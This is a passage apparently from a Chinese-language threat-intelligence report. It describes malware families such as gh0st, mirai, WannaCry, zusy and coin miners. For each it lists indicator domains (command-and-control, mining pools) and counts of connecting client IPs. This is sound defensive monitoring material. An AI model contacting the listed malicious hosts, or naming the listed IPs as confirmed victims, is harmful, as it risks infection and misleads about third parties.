1 111.160.108.34 NAT
1 221.198.218.112 NAT
1 125.38.177.138 NAT
1 60.29.95.82 NAT
1 221.196.194.2 NAT
1 221.197.162.54 NAT
1 117.15.191.57 NAT
1 60.27.42.62 NAT
1 117.9.229.148 NAT
1 218.69.234.252 NAT
1 60.27.79.17 NAT
1 117.8.101.63 NAT
1 60.30.105.41 NAT
1 125.37.125.3 NAT
1 221.198.118.158 NAT
1 60.28.101.103 NAT
1 60.28.101.106 NAT
1 60.27.205.187 NAT
1 211.94.242.118 NAT
1 117.12.144.7 NAT
1 117.8.100.70 NAT
1 60.29.30.190 NAT
1 60.26.180.205 NAT
1 111.162.221.168 NAT
1 221.198.110.209 NAT
1 117.14.70.156 NAT
1 60.29.116.18 NAT
1 111.165.72.25 NAT
1 218.69.147.133 NAT
1 60.29.153.61 NAT
1 221.196.119.133 NAT
1 111.163.22.227 NAT
1 60.30.204.82 NAT
1 111.167.144.199 NAT
1 60.30.240.226 NAT
1 111.166.156.237 NAT
1 60.28.38.18 NAT
1 125.37.182.185 NAT
1 218.68.235.133 NAT
1 125.38.191.184 NAT
1 111.160.97.42 NAT
1 111.163.78.80 NAT
1 111.161.189.215 NAT
1 117.11.239.56 NAT
1 218.69.243.164 NAT
1 60.29.179.42 NAT
1 117.12.158.82 NAT
1 60.25.63.52 NAT
1 60.25.10.147 NAT
1 60.27.79.149 NAT
1 111.162.163.241 NAT
1 221.239.72.170 NAT
</code></pre>
</br>
<h4 id="malwaregh0st">Malware.gh0st</h4>
<p>GH0ST是一款经典的RAT，针对Windows系统，支持截屏、录像、录音等多种spy功能。GH0ST由中国人编写，已经开放源码，因而存在较多的变种。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>www.sousouweb.com
ime.mys2005.xyz
linux145.f3322.net
3s.dkys.org
yk.520yxsf.com
baijinddos.xyz
xiangban1988.3322.org
fwq2020.f3322.net
zerococoll.f3322.net
sky.hobuff.info
www.wulei168.pw
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
509 111.160.156.10 NAT
203 111.163.143.228 NAT
103 125.39.138.171
94 60.28.34.59
54 60.29.124.250 NAT
34 60.30.199.26 NAT
20 60.28.99.74 NAT
18 61.181.81.82 NAT
12 218.69.11.58 NAT
4 103.233.4.30 NAT
3 111.165.217.222 NAT
3 221.239.104.13
3 60.28.101.14 NAT
2 125.39.151.188
1 60.27.188.109 NAT
1 60.28.101.104 NAT
</code></pre>
</br>
<h4 id="malwareposioncake">Malware.posioncake</h4>
<p>一款内置于手机ROM的恶意代码模块，注入Phone进程，拦截短信和发送短信，自动扣费，窃取信息等等。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>hcbh.heycould.com
hacdl.junwonsil.com
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
6 60.27.42.111 NAT
2 125.37.189.42 NAT
2 60.27.43.103 NAT
1 111.162.129.93 NAT
</code></pre>
</br>
<h4 id="malwarenitol">Malware.nitol</h4>
<p>又名dsl，是国内著名的面向Window平台的DDoS类型的 botnet家族，支持icmp/udp/tcp/http等多种攻击手段，具有较多的变种。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>dllhost.website
mssql.noip.cn
mdzz2018.msns.cn
yk.520yxsf.com
akmfs.com
40kam.cn
sky.hobuff.info
a.aklianfa.com
indonesias.website
3s.dkys.org
ak-74.top
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
709 60.30.199.26 NAT
509 111.160.156.10 NAT
84 60.28.140.93 NAT
54 60.29.124.250 NAT
11 111.163.143.228 NAT
8 60.28.114.2 NAT
7 60.29.133.19 NAT
4 125.37.162.202 NAT
4 111.160.110.26 NAT
4 218.69.27.222 NAT
3 111.165.217.222 NAT
3 60.28.101.14 NAT
2 125.39.151.188
2 60.29.64.86 NAT
1 60.27.119.49
1 60.28.114.30 NAT
1 60.28.101.104 NAT
</code></pre>
</br>
<h4 id="malwaremirai">Malware.mirai</h4>
<p>通过大规模弱口令扫描来实现传播的蠕虫病毒，将Linux平台的Iot设备控制，用于DDoS攻击。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>scan.santaiot.net
seven.nadns.info
netflux.r00ts.online
cnc.stresser.pw
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
585 60.29.215.141 NAT
527 111.160.57.142 NAT
290 61.181.115.50 NAT
2 111.167.211.108 NAT
</code></pre>
</br>
<h4 id="malwarehumpler">Malware.humpler</h4>
<p>该病毒伪装成多款小工具（如：老板键、屏幕亮度调节等），正通过2345软件大全等多个知名下载站进行传播。病毒入侵电脑后，会劫持QQ、360、搜狗等（市面上所有主流）浏览器首页。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>www.baidu-home.com
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
1 60.27.136.24 NAT
</code></pre>
</br>
<h4 id="malwarewannycry">Malware.wannycry</h4>
<p>一种“蠕虫式”的勒索病毒软件，利用NSA（National Security Agency，美国国家安全局）泄露的危险漏洞“EternalBlue”（永恒之蓝）进行传播，感染计算机后会向计算机中植入敲诈者病毒，导致电脑大量文件被加密。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
215 60.30.147.86
3 125.35.211.131 NAT
1 61.181.70.210 NAT
1 60.29.64.22 NAT
</code></pre>
</br>
<h4 id="malwaredunihi">Malware.DUNIHi</h4>
<p>DUNIHI (VBS_DUNIHI.ELDSAVJ)是一个有后门和蠕虫功能的很著名的VB脚本，在某些单独的事件中，该脚本在垃圾邮件活动中与Adwind一起释放。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>pm2bitcoin.com
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
107 60.29.15.54 NAT
</code></pre>
</br>
<h4 id="malwareflyboy">Malware.flyboy</h4>
<p>一款常见的DDoS木马。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>3s.dkys.org
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
1 60.28.101.104 NAT
</code></pre>
</br>
<h4 id="malwarezusy">Malware.zusy</h4>
<p>隐藏在PowerShell中，当用户打开，代码将被执行并连接到CC，接下来就会下载文件并执行，最终部署恶意程序downloader。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>buy1.amzjhhl.ru
buy1.gsnrrtf.net
buy1.csfnlpg.com
buy1.cdpgphm.ru
buy1.dhccyjw.net
buy1.tnnxkzu.ru
buy1.emafzud.net
buy1.rcdibnh.net
buy1.uxesjmg.ru
buy1.swexydc.ru
buy1.jgbfjlp.net
buy1.zwnbddh.com
buy1.xrcugmy.net
buy1.bgnlbfi.ru
buy1.nonyans.net
buy1.xfwwcmk.net
buy1.iqcpfzo.ru
buy1.anzxoii.net
buy1.ntlucrd.com
buy1.tiksrzr.com
buy1.otkmgkl.ru
buy1.icwastp.ru
buy1.rmpokmg.ru
buy1.gyhhgrc.ru
buy1.aenqzfk.net
buy1.hbjxtas.com
buy1.tpibfhe.ru
buy1.nuawren.com
buy1.nzuibjx.net
buy1.swemrgx.ru
buy1.qzojbhw.net
buy1.qwlhrkg.net
buy1.cbbfywr.ru
buy1.iryjeqo.com
buy1.eftctph.com
buy1.rdggegr.ru
buy1.fmrolhu.ru
buy1.rksgxwu.com
buy1.ddplnfp.net
buy1.yhbayam.net
buy1.uqccxlp.com
buy1.mnplqfs.net
buy1.dhzozeh.com
buy1.tlwrshg.net
buy1.aldloqz.ru
buy1.lrtapbs.ru
buy1.blwszto.ru
buy1.ejuzlle.net
buy1.gxhrnou.net
buy1.iwjsndf.com
buy1.pkhruee.net
buy1.zrsglol.com
buy1.kfysswc.com
buy1.jlaxfgb.ru
buy1.lyksyom.ru
buy1.mbtndqh.ru
buy1.pmhncfh.com
buy1.pfccfpb.ru
buy1.ihtmojm.ru
buy1.jzwhkrf.ru
buy1.mbiaean.ru
buy1.oddcucl.net
buy1.wzxtbjj.com
buy1.fpkrylz.com
buy1.jrwgrbg.ru
buy1.qnmbbdf.com
buy1.ddxkizq.net
buy1.yyalymk.net
buy1.acthwqo.com
buy1.snpntqd.com
buy1.azcduku.net
buy1.ncfnqjq.ru
buy1.ipqwqms.com
buy1.ofcllwd.net
buy1.xbxkmpp.com
buy1.alxluqi.ru
buy1.dyimlqp.net
buy1.fiocywx.com
buy1.abqlnrj.net
buy1.rrsywps.net
buy1.dyqzunc.ru
buy1.arhaqps.net
buy1.zpoxqcm.com
buy1.loakwst.net
buy1.nmwfrco.net
buy1.bhwfnll.net
buy1.osqmhxk.com
buy1.tzsduod.ru
buy1.lzssazr.net
buy1.icuieia.com
buy1.subbsty.net
buy1.fyalcld.net
buy1.odadidc.net
buy1.oabnnmt.net
buy1.aypoxyp.ru
buy1.nzliqic.net
buy1.xcypwuk.com
buy1.kfxzzsn.com
buy1.iywiqzr.com
buy1.rkacqse.ru
buy1.ymqfcbd.net
buy1.pypylia.com
buy1.gcyzgmf.com
buy1.xkxkdrn.com
buy1.cuoohzc.net
buy1.umjumsm.ru
buy1.pyyynza.com
buy1.udcjmjp.com
buy1.jpczuxg.com
buy1.bhnlbnh.net
buy1.gkhdxpf.net
buy1.hcgrnpn.ru
buy1.mslethd.ru
buy1.rfigznh.com
buy1.fkixudk.com
buy1.dqjkgce.net
buy1.rpxiwkc.com
buy1.niobmdi.com
buy1.dgwxumj.net
buy1.xalccbx.net
buy1.rzlqryz.net
buy1.dmbszul.com
buy1.uxxbwrr.ru
buy1.lgllgjs.net
buy1.tklwfah.ru
buy1.bbjzotm.ru
buy1.muxizct.ru
buy1.iexcrzz.net
buy1.gqoshyz.com
buy1.kyjbpwo.com
buy1.qxicnnb.com
buy1.yhpgwbd.net
buy1.txhkpgx.ru
buy1.iyfekft.ru
buy1.rfjllrs.net
buy1.xfqhajt.ru
buy1.zdfytrg.net
buy1.dfllbal.com
buy1.ctxjyex.com
buy1.yeyagrf.net
buy1.ulijgtz.com
buy1.rpskkwa.ru
buy1.yltzlez.ru
buy1.uwzghwb.net
buy1.jsitazi.ru
buy1.fehllnd.ru
buy1.ewkuzls.com
buy1.gciwhdc.net
buy1.khjizyn.com
buy1.ajjchrq.com
buy1.hizfyzc.ru
buy1.acejruk.com
buy1.jcerqdu.com
buy1.litporj.net
buy1.xygtuqr.net
buy1.zhzecai.ru
buy1.lrqfxhc.net
buy1.plbjxaw.net
buy1.xisphiu.ru
buy1.nmdmzxk.com
buy1.whowczd.net
buy1.gfygooj.net
buy1.bkfhpoo.net
buy1.xfojdma.com
buy1.zzcsctw.com
buy1.shkjsxn.com
buy1.sczeedr.com
buy1.jlqawun.net
buy1.zbrxzcd.net
buy1.eawlrfo.net
buy1.lkwwnuy.com
buy1.eojrzia.com
buy1.mkehkqw.ru
buy1.bunndlc.net
buy1.caejtfs.com
buy1.qdlycsz.ru
buy1.aamdljg.net
buy1.uarszmk.net
buy1.eghszki.ru
buy1.kyzweka.ru
buy1.ucykaub.net
buy1.unxoyqg.net
buy1.ujgrmdw.net
buy1.oftxynb.com
buy1.byimnch.com
buy1.agipcrc.com
buy1.eqsjnjm.com
buy1.wqrtqpc.com
buy1.wosqlhp.com
buy1.txrytdk.ru
buy1.ncmxoby.net
buy1.fkztbqc.ru
buy1.yyeytoh.ru
buy1.xxegozl.net
buy1.umlddds.com
buy1.ihsfmzs.ru
buy1.bzloyhl.com
buy1.fpucsex.net
buy1.dhenkce.ru
buy1.wqpquur.com
buy1.jeuggdx.net
buy1.bqsmdwo.net
buy1.mswcoje.ru
buy1.snabueo.com
buy1.zsczqfy.ru
buy1.fwtoowy.ru
buy1.ofinzks.net
buy1.ctemxrb.com
buy1.bwfakki.com
buy1.losoipz.net
buy1.wyxhwju.net
buy1.zkznpjx.net
buy1.wtiksxd.com
buy1.swhjoah.com
buy1.nasuofo.net
buy1.yuwtdkb.net
buy1.gtdiebz.net
buy1.whihyrr.net
buy1.jslmhdt.ru
buy1.jsbutdx.net
buy1.ztkwpnt.net
buy1.nrtqgnk.ru
buy1.kmmeycg.net
buy1.jhlzgnx.com
buy1.holmewx.com
buy1.kqktsmm.net
buy1.sbbcsds.ru
buy1.ldqfpjt.ru
buy1.nnhaioe.ru
buy1.ibhyldi.com
buy1.konsxcs.net
buy1.cbhsshp.com
buy1.gopdypa.net
buy1.trozbgi.com
buy1.kaohkbo.ru
buy1.zjfyxty.com
buy1.llhwqrb.ru
buy1.dmyldke.ru
buy1.efyncmf.net
buy1.emjrsao.com
buy1.xwyntku.com
buy1.hltlxfs.net
buy1.thbjtrm.net
buy1.qwgsncg.com
buy1.fbbefbz.com
buy1.twgpprb.net
buy1.nhexpdk.ru
buy1.gehbfee.ru
buy1.mgqwpyq.net
buy1.gykmlbd.com
buy1.xtxflqf.net
buy1.nweqxdp.com
buy1.alggopl.com
buy1.hpczbok.com
buy1.rgqkjoz.net
buy1.hyldyiu.com
buy1.mnbqzcx.com
buy1.ppolbqq.com
buy1.zhytqnk.com
buy1.lntgdkt.net
buy1.egrsdno.ru
buy1.sningaz.net
buy1.wbtjqns.com
buy1.twqqspy.ru
buy1.uaegzfg.net
buy1.lybnmaq.net
buy1.tqebcid.com
buy1.gyqxhuk.com
buy1.lgppbam.net
buy1.oyzkzhk.ru
buy1.tbsnaoq.ru
buy1.jfmnyjj.net
buy1.lrzgxti.ru
buy1.byosnwr.ru
buy1.deutskr.net
buy1.rhaaxsx.net
buy1.ptprctl.ru
buy1.jaisoap.net
buy1.ifjzgwm.com
buy1.rynffwj.net
buy1.gbcdmyk.com
buy1.uzinsse.ru
buy1.ioicphz.com
buy1.ukciate.ru
buy1.lezsbdq.com
buy1.dertjgm.net
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
298 111.160.240.107 NAT
</code></pre>
</br>
<h4 id="malwareworing">Malware.woring</h4>
<p>woring是一款针对Linux平台的 DDoS类型的botnet，因为函数命名存在一个typo: working->woring 故得名。woring主要感染x86 CPU架构的系统，支持常见的DDoS攻击手段。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>ak-74.top
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
1 60.27.119.49
</code></pre>
</br>
<h4 id="malwareminer">Malware.miner</h4>
<p>各种挖矿软件家族，包括LSDminer、MSRAminer等等。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>mine.ppxxmr.com
p.awcna.com
p.zer2.com
pool.minexmr.com
tgoodluck.info
fr.ppxxmr.org
x.csrss.website
pool.usa-138.com
lpp.zer2.com
rapid7cpfqnwxodo.tor2web.fyi
testnet-seed.bitcoin.jonasschnelli.ch
xmr.crypto-pool.fr
task.estonine.com
urlxxx.at.ua
pluck.moisture.tk
xmr.f2pool.com
donate.v2.googel-dns.com
xmr-eu2.nanopool.org
log.miniast.com
lsd.systemten.org
seed.tbtc.petertodd.org
loop.haqo.net
a.csrss.website
reader.pamphler.com
t.awcna.com
luoxkexp.com
poole.laofubtc.com
indonesias.me
tar.kziu0tpofwf.club
p1.qsd2xjpzfky.site
p3.qsd2xjpzfky.site
systemten.org
xmr-eu1.nanopool.org
lpp.awcna.com
swt.njaavfxcgk3.club
null.exhauest.com
www.zeculiar.tk
dns.posthash.org
guojun.website
p.amxny.com
loop.sawmilliner.com
z.drawal.tk
morphed.ru
xmr.pool.minergate.com
rapid7cpfqnwxodo.onion.in.net
dnsseed.bluematt.me
s.csrss.website
rer.njaavfxcgk3.club
pool.supportxmr.com
europe.cryptonight-hub.miningpoolhub.com
emergency.kiss58.org
emergency.googel-dns.com
seed.testnet.bitcoin.sprovoost.nl
fox.weilders.com
acs.njaavfxcgk3.club
monerohash.com
w.3ei.xyz
jump.taucepan.com
fee.googel-dns.com
ccc.njaavfxcgk3.club
xmr.usa-138.com
seed.bitcoinstats.com
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
900 60.30.199.26 NAT
892 221.239.96.146 NAT
891 111.160.156.10 NAT
803 111.164.175.157 NAT
574 111.160.82.66 NAT
521 111.160.204.62
494 60.30.197.110 NAT
467 60.28.104.130 NAT
415 60.28.252.2 NAT;IDC
352 221.196.92.246 NAT
269 60.29.103.44 NAT
241 60.29.17.222 NAT
239 218.68.45.209 NAT
164 117.9.18.201 NAT
142 218.68.105.24 NAT
130 202.99.114.74 NAT
130 111.160.167.194 NAT
110 60.28.47.90 NAT
78 60.28.253.182 NAT
69 218.69.133.62 NAT
68 61.181.131.66 NAT
43 61.240.24.130 NAT
37 60.24.90.72 NAT
36 111.160.119.178 NAT
35 60.30.240.226 NAT
35 60.30.134.99 NAT
34 221.197.42.171
28 125.35.210.209 NAT
27 60.28.102.2 NAT
26 221.197.55.168 NAT
26 61.181.207.7 NAT
25 125.35.210.222 NAT
24 125.35.210.204 NAT
24 125.35.210.229 NAT
19 125.39.71.19
19 61.181.76.146 NAT
18 60.25.251.11 NAT
18 111.33.30.44 NAT
17 117.14.201.183 NAT
17 60.30.69.36 NAT
16 221.197.139.246 NAT
16 60.28.101.104 NAT
16 60.28.108.201 NAT
15 218.69.96.14 NAT
15 60.30.193.162 NAT
15 222.36.63.83
15 60.30.208.226 NAT
15 111.160.40.106 NAT
14 61.136.11.38 NAT
14 60.28.156.216
14 60.28.101.74 NAT
14 60.29.158.82 NAT
14 111.160.122.98 NAT
14 218.69.11.174 NAT
13 60.28.101.105 NAT
13 117.9.164.4 NAT
12 117.15.169.6
12 61.181.70.210 NAT
11 180.213.5.10 NAT
10 111.164.49.39 NAT
10 218.68.5.141 NAT
10 60.29.15.54 NAT
10 218.68.0.210 NAT
10 111.164.183.26 NAT
10 60.30.186.26 NAT
10 125.39.151.188
9 221.239.124.90 NAT
9 117.131.173.16 NAT
8 123.150.44.5 NAT
8 111.160.97.18 NAT
8 221.238.238.234 NAT
8 117.9.8.157 NAT
8 61.181.123.67
8 125.35.211.131 NAT
8 123.150.44.3 NAT
7 60.29.133.19 NAT
6 111.160.80.250 NAT
6 111.160.7.62 NAT
6 125.36.59.125 NAT
6 123.150.44.11 NAT
6 218.68.204.18 NAT
6 218.69.11.58 NAT
5 60.29.64.138 NAT
5 123.151.25.136 NAT
5 125.37.77.156 NAT
5 111.164.183.91 NAT
5 111.162.128.53 NAT
5 117.11.10.12 NAT
5 117.13.140.93 NAT
5 60.30.149.98 NAT
4 221.196.67.188 NAT
4 60.25.179.9 NAT
4 60.30.120.132 NAT
4 218.68.102.37 NAT
4 218.69.61.140 NAT
4 218.68.147.61 NAT
4 60.28.84.197 NAT
4 111.160.240.109 NAT
4 60.29.64.139 NAT
4 218.68.1.195 NAT
3 60.28.101.14 NAT
3 111.160.166.189 NAT
3 61.181.97.162 NAT
3 61.181.112.102 NAT
3 60.28.101.103 NAT
3 117.9.18.204 NAT
3 117.10.138.188 NAT
3 218.68.235.209 NAT
3 218.69.156.59 NAT
3 117.131.135.209 NAT
2 60.29.195.26 NAT
2 221.197.97.97
2 60.26.78.4
2 218.67.246.54 NAT
2 111.160.166.58 NAT
2 61.181.103.46 NAT
2 60.27.79.17 NAT
2 60.30.172.82 NAT
2 60.29.153.61 NAT
2 60.28.63.85 NAT
2 60.29.158.138 NAT
2 60.30.42.78 NAT
2 111.163.122.136 NAT
2 111.30.78.46 NAT
2 60.30.33.70
2 221.197.220.35 NAT
2 60.28.41.18 NAT
2 111.30.101.238 NAT
2 60.29.153.45 NAT
2 60.29.179.118 NAT
2 117.9.199.42 NAT
2 123.150.44.9 NAT
2 60.28.104.118 NAT
2 111.160.70.46 NAT
2 61.181.107.107 NAT
1 111.162.215.164 NAT
1 111.162.68.202 NAT
1 103.233.4.30 NAT
1 218.69.25.110 NAT
1 60.29.153.43 NAT
1 221.196.108.202 NAT
1 60.30.149.10 NAT
1 117.131.245.101 NAT
1 111.33.17.70 NAT
1 61.181.5.114 NAT
1 117.13.72.198 NAT
1 60.30.177.62 NAT
1 211.94.248.30 NAT
1 125.38.179.109 NAT
1 221.196.108.163 NAT
1 218.68.159.45 NAT
1 60.29.4.206 NAT
1 111.160.49.188 NAT
1 111.160.49.186
1 117.11.117.118 NAT
1 111.162.201.182 NAT
1 218.68.105.125 NAT
1 111.162.219.115 NAT
1 218.68.204.86 NAT
1 60.30.155.10 NAT
1 221.239.89.186 NAT
1 111.164.40.153 NAT
1 60.29.154.210 NAT
1 61.181.15.212 NAT
1 111.163.141.224 NAT
1 60.28.114.2 NAT
1 60.29.77.202 NAT
1 221.239.26.30 NAT
1 111.160.242.66 NAT
1 60.30.162.14
1 103.233.4.29 NAT
1 111.166.50.41 NAT
1 111.166.87.206 NAT
</code></pre>
</br>
<h4 id="malwarewannacry">Malware.wannacry</h4>
<p>一种“蠕虫式”的勒索病毒软件，由不法分子利用NSA（National Security Agency，美国国家安全局）泄露的危险漏洞“EternalBlue”（永恒之蓝）进行传播。被该勒索软件入侵后，用户主机系统内的照片、图片、文档、音频、视频等几乎所有类型的文件都将被加密，加密文件的后缀名被统一修改为 WNCRY。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com
www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
104 60.30.147.86
8 125.35.211.131 NAT
3 111.164.183.91 NAT
2 221.238.232.218 NAT
2 111.160.40.106 NAT
1 60.29.64.22 NAT
1 61.181.70.210 NAT
</code></pre>
</br>
<h4 id="malwaresality">Malware.sality</h4>
<p>一款多态感染性病毒，一旦被他们感染，电脑上大部分文件都会被感染成病毒文件。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>vancityprinters.com
724hizmetgrup.com
vinasonthanh.com
affiliate.free.rongrean.com
amsamex.com
zanzoul.aya.com.sy
bbeakemegood24.com
chicostara.com
www.ceylanogullari.com
family-international.de
yavuztuncil.ya.funpic.de
pelcpawel.fm.interia.pl
www.liongrup.com
bazyar-arya.com
aocuoikhanhlinh.vn
ohne-steuer.de
cevatpasa.com
jrsx.jre.net.cn
reliancepublications.co.in
bem.dk
arthur.niria.biz
lpbmx.ru
banboon.com
ankara-cambalkon.net
dewpoint-eg.com
twilight-duo.com
www.bluecubecreatives.com
apple-pie.in
ahmediye.net
abpowqbvcfds677.info
www.unigas.mn
www.vancityprinters.com
kuplu.bel.tr
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
108 111.160.182.10 NAT
20 117.9.152.25 NAT
13 60.27.193.240 NAT
12 125.36.117.141 NAT
8 60.29.43.82 NAT
7 218.68.102.172 NAT
6 218.69.108.45 NAT
6 60.28.250.46 IDC
6 60.25.253.157 NAT
4 219.150.87.130 NAT
4 111.160.92.74 NAT
4 221.197.156.59 NAT
4 221.239.124.90 NAT
3 117.9.228.28 NAT
3 218.69.11.58 NAT
3 117.12.17.73 NAT
3 123.151.34.82 NAT
2 61.181.63.26 NAT
2 111.167.244.137 NAT
2 117.11.239.126 NAT
2 60.28.101.104 NAT
2 60.30.69.36 NAT
1 117.12.197.138 NAT
1 218.68.6.194 NAT
1 117.15.191.13 NAT
1 61.181.63.138 NAT
1 111.163.145.187 NAT
1 111.33.56.2 NAT
</code></pre>
</br>
<h4 id="malwaredofloo">Malware.dofloo</h4>
<p>dofloo又名AES.DDOS，针对Linux设备，已经发现的变种主要感染运行x86和ARM CPU的设备。dofloo 支持SYN/TCP/UDP/DNS/HTTP等多种flood攻击。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>www.santananb.info
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
1 60.30.172.82 NAT
</code></pre>
</br>
<h4 id="malwareartemis">Malware.artemis</h4>
<p>artemis家族针对windows系统，用于DDoS攻击，支持UDP/TCP/DNS/HTTP 4种攻击方式。</p>
<h5 id="iocs">IOCs</h5>
<pre><code>lang12397007.3322.org
scrk.3322.org
rat2.100geili.com
liyongyong88.3322.org
fei9988.3322.org
doss456.3322.org
meihaoddos.3322.org
dingtao333.3322.org
rat3.100geili.com
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
51 117.9.146.131 NAT
45 117.11.147.243 NAT
44 111.160.156.10 NAT
41 117.9.64.214 NAT
40 111.163.123.186 NAT
35 125.36.119.78 NAT
18 117.10.53.124 NAT
15 125.37.188.225 NAT
15 117.13.192.248 NAT
15 218.67.254.131 NAT
12 218.68.190.107 NAT
11 117.15.6.163 NAT
11 125.36.80.149 NAT
10 218.67.145.251 NAT
9 60.28.101.104 NAT
8 117.9.158.203 NAT
8 111.160.132.158 NAT
7 111.163.22.135 NAT
6 111.161.188.102 NAT
5 221.196.205.193 NAT
4 60.26.102.238 NAT
4 125.37.189.211 NAT
4 218.69.102.106 NAT
4 60.28.101.103 NAT
4 111.167.180.105 NAT
3 218.67.165.2 NAT
3 125.38.137.250 NAT
2 221.198.67.125 NAT
2 60.28.101.105 NAT
2 221.196.61.39 NAT
1 60.29.38.118 NAT
1 221.197.255.115 NAT
1 111.163.90.226 NAT
1 117.9.238.225 NAT
1 218.68.45.180 NAT
1 221.197.8.155
</code></pre>
</br>
<h4 id="malwareunknown">Malware.unknown</h4>
<p>一部分我们正在跟踪的明确恶意但未归类的汇总</p>
<h5 id="iocs">IOCs</h5>
<pre><code>pccp.youdns17.com
lp.beahh.com
v.beahh.com
ii.ackng.com
healthdevicetracker.com
lp.haqo.net
suoye1.eatuo.com
oxy.imbceon.com
cake.pilutce.com
wqerveybrstyhcerveantbe.com
workforce.ignorelist.com
ghoost-souf.no-ip.org
down.wmwky.tw
www.santananb.info
doc.to0ls.com
jltx131.cc
booomaahuuoooapl.ru
hewle.kielsoservice.net
wys810302.f3322.net
www3.cedesunjerinkas.com
2.dfdf332.com
mdzz2019.noip.cn
spring.tulipnetworks.net
aj1732.online
ii.haqo.net
suoye1.f3322.net
nevernews.club
www2.cedesunjerinkas.com
lp.abbny.com
booomaahuuoooapl.in
yzzweb.f3322.net
almasoodgroup.com
maeobnaoefhgoajo.com
fiaoiaegiieogjjed.ru
5123.2288.org
api.dfdf332.com
3600hk.no-ip.org
i.haqo.net
eu.dspmulti.com
fget-career.com
www4.cedesunjerinkas.com
johnhop77.ddns.net
aroundtheworld123.net
twangzhan.website
srgsiuhedufiusfo.ru
iim.ackng.com
uaeihefiuaefhuhe.ru
9.zxzx776.com
xsdf3f.com
w.beahh.com
download.pofenglun.cn
mage.ignorelist.com
pall.ndypkh.com
down.qwpkk.tw
aeiziaezieidiebg.biz
zergbase.mooo.com
cnc.stresser.pw
aaaaaaaaaa.re67das.com
</code></pre>
<h5 id="clients">Clients</h5>
<pre><code>Count Client TAGS
1137 60.28.104.130 NAT
1020 60.30.186.26 NAT
988 117.12.96.213 NAT
718 218.68.105.24 NAT
596 60.28.47.90 NAT
352 61.240.6.210 NAT
310 121.193.161.217 NAT
261 111.160.132.158 NAT
238 61.181.252.146 NAT
221 221.197.56.106 NAT
176 60.30.199.26 NAT
145 111.160.201.202
133 60.29.153.61 NAT
86 60.30.149.10 NAT
79 125.36.152.117 NAT
77 117.12.134.159 NAT
55 218.69.234.252 NAT
39 221.197.29.110 NAT
38 218.67.233.191 NAT
37 117.11.225.137 NAT
36 111.165.96.157 NAT
34 61.181.108.2 NAT
33 111.162.219.197 NAT
32 60.28.156.216
32 117.12.1.165 NAT
31 117.8.100.206 NAT
31 111.164.235.52 NAT
31 218.67.255.90 NAT
31 117.9.17.157 NAT
30 125.38.176.114 NAT
30 218.68.200.50 NAT
30 60.29.18.14 NAT
30 117.131.173.16 NAT
30 221.197.12.90 NAT
29 218.68.190.43 NAT
29 180.213.5.10 NAT
27 60.29.37.38 NAT
25 221.196.119.133 NAT
25 111.160.91.94 NAT
25 117.9.91.224 NAT
24 60.28.38.14 NAT
24 111.164.235.232 NAT
23 60.30.130.126 NAT
20 111.30.30.18 NAT
20 221.197.94.180 NAT
19 60.29.64.22 NAT
19 111.165.24.101 NAT
18 117.13.128.209
18 125.37.182.24 NAT
17 117.11.147.153 NAT
16 60.28.101.104 NAT
16 111.164.20.30 NAT
15 60.30.4.11
15 218.69.11.58 NAT
14 60.28.101.103 NAT
14 117.9.16.229 NAT
14 218.69.133.37 NAT
14 221.239.93.251
13 60.29.133.19 NAT
13 60.29.208.115
13 60.28.250.40 IDC
13 60.29.22.98 NAT
12 60.28.108.21 NAT
12 117.9.18.246 NAT
12 218.69.90.46 NAT
12 60.25.11.13 NAT
11 111.160.156.10 NAT
11 221.196.149.170 NAT
10 60.29.89.34 NAT
10 60.29.70.132
10 218.68.224.88 NAT
10 117.13.157.191 NAT
10 60.29.31.98 NAT
10 60.24.140.80 NAT
10 221.238.238.234 NAT
10 60.29.90.230 NAT
9 60.30.164.26 NAT
9 60.25.251.11 NAT
9 218.68.158.40 NAT
9 60.26.101.13 NAT
8 111.160.87.122 NAT
8 218.68.107.240 NAT
8 218.68.233.132 NAT
8 111.164.183.91 NAT
8 221.197.139.99 NAT
8 221.197.122.193 NAT
7 60.30.105.50 NAT
7 117.9.93.13 NAT
7 117.11.218.223 NAT
7 61.181.143.34 NAT
7 60.28.41.18 NAT
7 60.24.189.172 NAT
7 218.68.5.141 NAT
7 221.196.108.115 NAT
7 61.181.70.210 NAT
7 111.30.35.142 NAT
6 60.28.101.105 NAT
6 221.198.66.44 NAT
6 111.162.212.244 NAT
6 111.160.233.182 NAT
6 60.24.143.117 NAT
6 117.9.90.145 NAT
6 103.233.5.254 NAT
6 218.69.129.222 NAT
6 221.196.180.62 NAT
